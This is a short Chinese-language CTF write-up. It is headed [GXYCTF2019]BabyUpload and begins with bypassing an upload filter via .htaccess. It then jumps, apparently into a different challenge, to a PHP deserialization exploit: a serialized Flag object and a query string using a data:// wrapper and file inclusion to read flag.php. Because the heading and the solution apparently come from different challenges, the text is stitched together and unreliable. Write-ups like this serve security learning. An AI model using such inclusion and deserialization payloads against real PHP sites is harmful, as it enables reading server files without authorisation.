上一个帖子已经很久了 重新开一手
Contents
[GXYCTF2019]BabyUpload
考点:
· .htaccess
· Content-type类型绕过
打开后是一个上传界面,尝试上传php文件后提示 ‘后缀名不能有ph!’
这使得所有的php后缀名全部被过滤
尝试使网页报错后发现为‘Apache/2.4.10 (Debian) Server ’
根据之前CTFHUB 的经验 上传一个.htaccess文件把jpg解析成php试试看
继续审计
else{ include($file); //useless.php $password = unserialize($password); echo $password; }
这里如何绕过呢
根据读到的useless.php 发现__tostring()方法,可能要反序列化。尝试构造
<?php class Flag{ public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag(); echo serialize($a); ?>
O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
尝试传入上面所有变量
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
源码获得flag